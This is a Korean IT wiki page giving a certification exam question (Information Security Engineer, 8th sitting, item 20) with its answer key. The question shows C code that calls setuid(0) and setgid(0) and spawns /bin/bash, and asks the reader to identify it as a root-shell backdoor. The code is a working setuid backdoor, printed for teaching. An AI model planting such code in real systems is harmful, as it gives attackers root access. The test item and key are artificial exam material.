정보보안기사 제8회 20번

IT위키

과목: 시스템 보안

문제[편집 | 원본 편집]

20. 다음은 크래커 A가 남긴 C소스 코드와 바이너리 파일이다. 이에 대한 설명으로 적합한 것은?

$ls -l
total 20
-rwsr-wr-x 1 root root 1435 Oct 7 21:13 test
-rw-rw-r-- 1 root root 88 Oct 7 21:12 test.c

$ cat test.c
#include
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

  • ① setgid 시스템 콜의 인자를0으로 준 것으로 보아 Race Condition 기법의 공격이다.
  • ② /bin/sh를 실행시키는 것으로 보아 Sniffing 기법이다.
  • ③ setuid 시스템 콜의 인자가 0이고 컴파일된 바이너리 파일의 퍼미션이 4755인 것으로 보아 루트 권한을 탈취하는 백도어이다.
  • ④ main 함수의 리턴형태가 void 이므로 Format String Attack으로 보인다.

풀어보기[편집 | 원본 편집]

정답[편집 | 원본 편집]

  • 3번

해설[편집 | 원본 편집]

같이 보기[편집 | 원본 편집]